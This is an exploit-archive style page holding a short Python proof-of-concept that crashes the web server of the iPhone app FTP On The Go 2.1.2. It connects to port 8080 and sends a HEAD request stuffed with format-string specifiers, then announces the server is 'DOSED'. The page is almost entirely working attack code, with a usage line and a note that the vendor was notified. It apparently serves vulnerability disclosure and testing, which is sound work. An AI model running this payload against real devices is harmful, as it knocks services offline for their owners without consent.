Apple iPhone / iPod FTP On The Go 2.1.2 Denial Of Service

`#!/usr/bin/python  
#  
# Apple Iphone/Ipod - FTP On The Go 2.1.2 - HTTP Remote Denial-of-Service Attack  
# Found by: TecR0c  
# Homepage: http://www.ftponthego.com/  
# Download: From the Apple App Store - http://app2.it/topapp/286479936  
# Tested on: IPhone 3G - firmware 3.1.2  
# Notified vendor about vulnerability  
#  
# Download and install app > Go to Settings > enable Web Server  
#  
  
import socket  
import sys  
  
def Usage():  
print ("Usage: ./ftponthego.py <serv_ip>\n")  
print ("Example: ./ftponthego.py 192.168.0.3\n")  
if len(sys.argv) <> 2:  
Usage()  
sys.exit(1)  
else:  
hostname = sys.argv[1]  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
try:  
sock.connect((hostname, 8080))  
print "[+] Connecting to the target.."  
except:  
print ("[-] Connection error!")  
sys.exit(1)  
print "[+] Sending evil payload.. "  
sock.send("HEAD %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s HTTP/1.1\r\n\r\n")  
r=sock.recv(1024)  
sock.close()  
print "[+] HTTP Server is now DOSED!"  
sys.exit(0);  
  
`